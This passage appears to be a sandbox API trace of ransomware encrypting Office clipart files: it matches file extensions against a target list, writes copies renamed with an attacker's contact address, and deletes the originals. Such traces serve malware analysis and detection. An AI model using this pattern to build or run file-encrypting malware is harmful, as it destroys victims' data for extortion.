	[0268.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63
	[0268.451] lstrlenW (lpString=".dbf") returned 4
	[0268.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63
	[0268.451] lstrlenW (lpString=".1cd") returned 4
	[0268.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63
	[0268.451] lstrlenW (lpString=".jpg") returned 4
	[0268.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.453] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=6920) returned 1
	[0268.453] CloseHandle (hObject=0x370) returned 1
	[0268.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 0x20
	[0268.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.453] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.453] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.454] GetLastError () returned 0x0
	[0268.454] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1b08, lpOverlapped=0x0) returned 1
	[0268.625] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1b10, lpOverlapped=0x0) returned 1
	[0268.626] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.626] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.626] SetEndOfFile (hFile=0x274) returned 1
	[0268.626] CloseHandle (hObject=0x274) returned 1
	[0268.626] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.626] SetEndOfFile (hFile=0x370) returned 1
	[0268.628] CloseHandle (hObject=0x370) returned 1
	[0268.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 1
	[0268.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63
	[0268.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63
	[0268.629] lstrlenW (lpString=".doc") returned 4
	[0268.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.629] lstrlenW (lpString=".docx") returned 5
	[0268.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.629] lstrlenW (lpString=".pdf") returned 4
	[0268.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.629] lstrlenW (lpString=".xls") returned 4
	[0268.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.629] lstrlenW (lpString=".xlsx") returned 5
	[0268.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.629] lstrlenW (lpString=".ppt") returned 4
	[0268.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63
	[0268.629] lstrlenW (lpString=".zip") returned 4
	[0268.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.629] lstrlenW (lpString=".rar") returned 4
	[0268.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.629] lstrlenW (lpString=".bz2") returned 4
	[0268.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.629] lstrlenW (lpString=".7z") returned 3
	[0268.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63
	[0268.629] lstrlenW (lpString=".dbf") returned 4
	[0268.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63
	[0268.630] lstrlenW (lpString=".1cd") returned 4
	[0268.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63
	[0268.630] lstrlenW (lpString=".jpg") returned 4
	[0268.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.630] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=21268) returned 1
	[0268.630] CloseHandle (hObject=0x370) returned 1
	[0268.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 0x20
	[0268.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.631] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.631] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.631] GetLastError () returned 0x0
	[0268.631] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x5314, lpOverlapped=0x0) returned 1
	[0268.633] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x5320, lpOverlapped=0x0) returned 1
	[0268.634] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.634] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.634] SetEndOfFile (hFile=0x274) returned 1
	[0268.634] CloseHandle (hObject=0x274) returned 1
	[0268.634] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.634] SetEndOfFile (hFile=0x370) returned 1
	[0268.637] CloseHandle (hObject=0x370) returned 1
	[0268.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 1
	[0268.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63
	[0268.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63
	[0268.637] lstrlenW (lpString=".doc") returned 4
	[0268.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.637] lstrlenW (lpString=".docx") returned 5
	[0268.637] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0268.637] lstrlenW (lpString=".pdf") returned 4
	[0268.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.637] lstrlenW (lpString=".xls") returned 4
	[0268.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.637] lstrlenW (lpString=".xlsx") returned 5
	[0268.637] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0268.637] lstrlenW (lpString=".ppt") returned 4
	[0268.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63
	[0268.638] lstrlenW (lpString=".zip") returned 4
	[0268.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.638] lstrlenW (lpString=".rar") returned 4
	[0268.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.638] lstrlenW (lpString=".bz2") returned 4
	[0268.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.638] lstrlenW (lpString=".7z") returned 3
	[0268.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63
	[0268.638] lstrlenW (lpString=".dbf") returned 4
	[0268.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63
	[0268.638] lstrlenW (lpString=".1cd") returned 4
	[0268.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63
	[0268.638] lstrlenW (lpString=".jpg") returned 4
	[0268.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.638] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=46936) returned 1
	[0268.639] CloseHandle (hObject=0x370) returned 1
	[0268.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 0x20
	[0268.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.639] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.639] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.639] GetLastError () returned 0x0
	[0268.639] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xb758, lpOverlapped=0x0) returned 1
	[0268.642] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xb760, lpOverlapped=0x0) returned 1
	[0268.643] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.643] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.644] SetEndOfFile (hFile=0x274) returned 1
	[0268.644] CloseHandle (hObject=0x274) returned 1
	[0268.644] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.644] SetEndOfFile (hFile=0x370) returned 1
	[0268.648] CloseHandle (hObject=0x370) returned 1
	[0268.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 1
	[0268.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63
	[0268.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63
	[0268.649] lstrlenW (lpString=".doc") returned 4
	[0268.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.649] lstrlenW (lpString=".docx") returned 5
	[0268.649] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0268.649] lstrlenW (lpString=".pdf") returned 4
	[0268.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.649] lstrlenW (lpString=".xls") returned 4
	[0268.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.649] lstrlenW (lpString=".xlsx") returned 5
	[0268.650] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0268.650] lstrlenW (lpString=".ppt") returned 4
	[0268.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63
	[0268.650] lstrlenW (lpString=".zip") returned 4
	[0268.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.650] lstrlenW (lpString=".rar") returned 4
	[0268.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.650] lstrlenW (lpString=".bz2") returned 4
	[0268.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.650] lstrlenW (lpString=".7z") returned 3
	[0268.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63
	[0268.650] lstrlenW (lpString=".dbf") returned 4
	[0268.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63
	[0268.650] lstrlenW (lpString=".1cd") returned 4
	[0268.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63
	[0268.650] lstrlenW (lpString=".jpg") returned 4
	[0268.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.651] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=15760) returned 1
	[0268.651] CloseHandle (hObject=0x370) returned 1
	[0268.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 0x20
	[0268.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.652] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.652] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.652] GetLastError () returned 0x0
	[0268.652] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3d90, lpOverlapped=0x0) returned 1
	[0268.654] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3da0, lpOverlapped=0x0) returned 1
	[0268.655] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.656] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.656] SetEndOfFile (hFile=0x274) returned 1
	[0268.656] CloseHandle (hObject=0x274) returned 1
	[0268.656] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.656] SetEndOfFile (hFile=0x370) returned 1
	[0268.658] CloseHandle (hObject=0x370) returned 1
	[0268.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 1
	[0268.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63
	[0268.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63
	[0268.658] lstrlenW (lpString=".doc") returned 4
	[0268.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.658] lstrlenW (lpString=".docx") returned 5
	[0268.658] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0268.658] lstrlenW (lpString=".pdf") returned 4
	[0268.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.659] lstrlenW (lpString=".xls") returned 4
	[0268.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.659] lstrlenW (lpString=".xlsx") returned 5
	[0268.659] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0268.659] lstrlenW (lpString=".ppt") returned 4
	[0268.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63
	[0268.659] lstrlenW (lpString=".zip") returned 4
	[0268.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.659] lstrlenW (lpString=".rar") returned 4
	[0268.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.659] lstrlenW (lpString=".bz2") returned 4
	[0268.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.659] lstrlenW (lpString=".7z") returned 3
	[0268.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63
	[0268.659] lstrlenW (lpString=".dbf") returned 4
	[0268.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63
	[0268.659] lstrlenW (lpString=".1cd") returned 4
	[0268.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63
	[0268.659] lstrlenW (lpString=".jpg") returned 4
	[0268.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.660] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=28212) returned 1
	[0268.660] CloseHandle (hObject=0x370) returned 1
	[0268.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 0x20
	[0268.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.660] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.660] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.660] GetLastError () returned 0x0
